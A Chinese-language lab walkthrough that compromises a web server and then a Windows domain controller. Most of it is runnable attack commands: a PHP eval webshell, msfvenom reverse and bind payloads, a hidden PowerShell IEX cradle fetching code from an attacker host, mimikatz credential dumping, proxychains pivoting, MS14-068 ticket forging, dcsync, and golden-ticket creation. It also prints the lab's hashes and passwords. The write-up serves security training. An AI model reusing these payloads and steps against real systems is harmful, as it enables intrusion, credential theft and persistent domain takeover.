环境搭建
靶场环境的拓扑图如下:
靶场是webhack123
,WEB
服务器有两块网卡,DC
是域控。
信息收集
端口探测
1 | nmap -p- 192.168.1.13 |
nmap获取系统和版本信息
1 | nmap -p 80,135,139,445,3306,3389,47001,49152,49153,49154,49155,49156,49157 -A 192.168.1.13 -oA webhack |
由扫描的信息可知,web
服务器使用的是phpstudy
。操作系统为Windows Server 2008 R2
对网站进行测试
在Mac
的hosts
文件中添加192.168.1.13 www.webhack123.com
和192.168.1.13 admin.webhack123.com
,这样我的Mac
通过域名就可访问到对应的网站。
ffuf目录文件扫描
1 | ffuf -u http://www.webhack123.com/FUZZ -w Wordslist/all.txt |
wc.db文件下载
1 | wget http://www.webhack123.com/.svn/wc.db |
使用Navicat
打开数据库,可以看出使用到的框架为thinkphp
thinkphp日志文件泄露
在thinkphp_3.1.3
中,日志文件是开启的,由wc.db
可以知道目录位置。
日志路径格式如:http://www.webhack123.com/App/Runtime/Logs/18_06_28.log
提取日志获取密码
使用python
编写日志文件提取脚本
1 | #coding:utf-8 |
获取日志,并在日志中查找到泄露的管理员密码。
账号为admin
,密码的哈希为74c774ef39b5b977c1fd59dbfc73c3e380a65aa3
,经过cmd5
得出密码为web123
。
host碰撞管理后台子域名
如果扫描目录还是找不到后台,可以尝试进行host
碰撞出子域名。
代码参考[1],变动了一下代码,ip.txt
用于存放目标的IP
地址,host.txt
用于存放子域名前缀。这里是http
,不需要进行https
的爆破。运行代码,子域名和IP
地址进行匹配。
1 | #!/usr/bin/python |
结果如下,发现了一个admin.webhack123.com
子域名。
成功找到了后台的管理站点。
根据前面获取到的账号密码admin/web123
可以登陆管理员界面。
上传文件获取webshell
登陆到管理员界面后,进行文件的上传。设置允许上传php
,上传一句话木马<?php @eval($_POST['pass']);?>
。
上传成功,获取shell
的url
为http://admin.webhack123.com/Public/Upload/20250512/d58f8404ac973d0352c666b9f83056a9.php
,使用蚁剑进行连接。
MSF进行提权和信息收集
生成攻击载荷
phpstudy
环境下,上传并执行exe
文件,直接就是系统的最高权限了。
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.1.3 lport=12345 -f exe -o tt.exe |
在本机的根目录会生成一个tt.exe
文件。
监听上线
1 | msf6 > use exploit/multi/handler |
我使用的是mac m1
环境安装的msf
,监听发现一直报错,连接不上shell
。这里我卡了很久,想破脑袋,也没想到把mac
的防火墙关了就好了😑。
成功拿到shell
。
migrate迁移进程
找到合适的进程,进行进程的迁移,这里很多人使用的是migrate 476
。
迁移成功。
mimikatz哈希明文获取
使用load kiwi
,加载mimikatz
模块。
1 | creds_all |
arp
可以发现更多的主机。
跨网段域渗透
MSF跨网段的域渗透
使用metasploit
和cobalt strike
进行域渗透。
确认域环境
ps
查看进程,进行令牌窃取,必须切换到adminstrator
,非system
,才能使用net config workstation
⚠️
切换到shell
,然后执行net config workstation
。出现乱码情况时在获取的shell
中执行chcp 65001
。
定位域控
1 | run post/windows/gather/enum_domain |
域信息收集
1 | net time /domain #查看域控时间 |
ipconfig
确认了存在两个网段10.10.10.150
和192.168.1.13
。
终端执行信息收集命令
ipconfig /all
查看信息。
dns 10.10.10.149
,dns
一般都是与域控同一个ip
获取登陆过的用户信息
1 | run post/windows/gather/enum_logged_on_users |
获取的SID
如下:
1 | SID Profile Path |
添加路由渗透DC
域控
1 | 查看全局路由器 |
开启代理通域控
1 | 使用代理模块 |
注意本地使用的代理配置情况。我是用的是proxychains4
,Mac m
系列安装这个我又折腾好久😑,参考这个才给解决的,安装proxychains4
[2]。最好还是用kali
,没这么多麻烦。
nmap通过proxychains扫描域控设备
修改proxychains
的配置文件,使其代理走的是127.0.0.1 1080
执行命令,结果如下:
1 | proxychains4 nmap -sT -A -Pn 10.10.10.149 |
永恒之蓝ms17-010进行溢出攻击DC(失败)
1 | use exploit/windows/smb/ms17_010_eternalblue |
攻击失败。
ms14-068提权域控
ms14-068的条件
- 获取域普通用户的账号密码
web@hackbox.com/!@#Qwe456
- 获取域普通用户的
SID: S-1-5-21-2005268815-658469957-1189185684-1103
- 服务器未打
KB3011780
补丁 - 域控服务器的
10.10.10.149
ms14-068创建票据
上传MS14-068.exe
[3]到执行的目录下
1 | MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 |
载入kiwi清理内存票据,再导入票据
载入kiwi
,清理当前的票据,如下。
1 | load kiwi |
导入票据票据部分。
下载[4],并上传mimikatz.exe、mimidrv.sys、mimilib.dll
到执行命令的目录,运行mimikatz.exe
。
并执行kerberos::ptc TGT_web@hackbox.com.ccache
exit
退出mimikatz
,klist
查看当前票据。
未导入票据前去访问dc
,如下:
此时去访问dc
域控,成功访问。
获取dc域控制权限
生成正向载荷,copy复制到域控,并执行定时任务
1 | msfvenom -p windows/x64/meterpreter/bind_tcp lport=13777 -f exe -o bind.exe |
生成bind.exe
,并上传至web
站点的服务器,并复制到域控中去。
1 | copy bind.exe \\dc\C$\ # 复制文件到目标 |
获取域控权限命令
设置好定的时间,msf
进行监听。
1 | use exploit/multi/handler |
成功连接至域控。
获取dc域控哈希明文
迁移进程,并获哈希
1 | migrate 388 |
1 | Administrator:500:aad3b435b51404eeaad3b435b51404ee:2cbe963d0d877c8cc7d09c936f1c3b33::: |
使用load kiwi
,并执行creds_tspkg
抓域控全部hash
1 | run post/windows/gather/smart_hashdump |
制作黄金票据
考虑长期权维护,还是做一个黄金票据比较保险。
制作黄金票据需要满足以下条件:
krbtgt
的hash
- 本地管理员权限
- 域的
SID
(普通用户的SID
除去最后三位就是域的SID
) - 域内任意用户的本地管理员权限
获取ntml sid rid
1 | wmic useraccount where name="krbtgt" get sid |
获取到的SID: S-1-5-21-2005268815-658469957-1189185684-502
窃取域控超级管理权限
系统权限没办法做dcsync
所以切换域管理权限。
1 | ps |
获取到的内容为:
1 | [+] Account : krbtgt |
生成黄金票据
获取到的条件如下:
1、krbtgt
的hash
:6f60ace6accbcb76078ccc0312174e98
2、本地管理员权限:已获取
3、域的SID
(普通用户的SID
除去最后三位就是域的SID
):S-1-5-21-2005268815-658469957-1189185684
4、域内任意用户的本地管理员权限:已获取。
1 | golden_ticket_create -d <域名> -u <任意用户名> -s <Domain SID> -k <krbtgt NTLM Hash> -t <ticket 本 |
根据获取的条件,进行黄金票据的生成。
1 | golden_ticket_create -d hackbox.com -u x2ntest -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /Users/x2n/Desktop/webhack123.com/krbtgt.ticket |
切换到web
服务器,把凭据都清除掉。使用kerberos_ticket_purge
,确保dc
是无法访问的。
此时使用生成的票据kerberos_ticket_use /Users/x2n/Desktop/webhack123.com/krbtgt.ticket
,成功访问到域控。
CS进行内网域渗透
建立teamserver
1 | ./teamserver 192.168.1.3 4477 # 4477为密码 |
设置好监听器,监听192.168.1.3
,监听的端口为8085
在web服务器上执行下载powershell恶意代码
使用Windows Executable
去生成.ps1
文件。
再使用钓鱼攻击中的文件下载,获取下载的URL
,为http://192.168.1.3:8022/tt
进行上线。
1 | powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.1.3:8022/tt'))" |
设置间隔时间
设置时间间隔为0,不然会影响后面的操作。
获取hash和域内信任主机
1 | hashdump |
扫描环境内主机
扫描结果如下,存在主机10.10.10.149
。
利用cs集成命令进行信息收集
1 | net computers |
cs mimikatz web服务获取明文
dir访问域控DC
1 | shell \\dc\c$ |
cs ms14-068提权到域控
上传文件ms14-068
到web
服务器上,执行如下命令,SID
来源前面MSF
获取的。
1 | shell MS14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456 |
在ms14-068.py脚本下创建票据
还可以使用ms14-068.py
[5]进行票据的创建。这里mac
用户有一个坑点,执行时候要使用到python2
,我的proxychains-ng
编译成了arm64
格式,但是ms14-068.py
使用的执行环境是python2
,python2
是x86
的,二者冲突了。难搞☹️。
这里如果使用kali
应该是没问题的,使用下面的命令直接就可以了。
1 | proxychains4 python2 ms14-068.py -u web@hackbox.com -s S-1-5-21-2005268815-6584D69957-1189185684-1103 -d 10.10.10.149 -p '!@#@we456' |
KrbCredExport 将 .ccache 文件转化为 kirbi 格式
使用前面MS14-068.exe
获取的TGT_web@hackbox.com.ccache
,使用KrbCredExport.py
[6]将其转化为user.ticket
。
1 | python KrbCredExport.py ./ccaches/TGT_web@hackbox.com.ccache ./tickets/user.ticket |
导入票据访问dc
1 | kerberos_ticket_use ./tickets/user.ticket |
获取dc域控权限
目前是有了访问dc
的权限,下面尝试获取dc
域控的控制权限。
设置smb连接器,进行正向连接
创建一个连接器。
生成exe
,并上传到域控上。
复制后门文件到域控中并执行
1 | shell copy beacon.exe \\dc\c$\beacon.exe |
添加定时任务。
在beacon正向连接上dc
link dc
连接上dc
获取dc明文哈希
cs制作黄金票据
在域控上执行命令导出krbtgt信息
1 | dcsync hackbox.com hackbox\krbtgt |
获取数据:
1 | 域:hackbox.com |
在web服务器上制作黄金票据
1 | mimikatz kerberos::golden /user:x2ntest1 /domain:hackbox.com /sid:S-1-5-21-2005268815-658469957-1189185684 /krbtgt:6f60ace6accbcb76078ccc0312174e98 /endin:480 /renewmax:10080 /ptt |
未使用票据前,访问失败。
使用黄金票据后,可以直接访问域控了。